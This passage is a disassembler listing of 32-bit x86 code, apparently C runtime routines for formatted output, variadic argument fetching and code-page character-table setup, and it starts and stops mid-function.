		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 26608F8h
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 28A0740h
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------

loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h

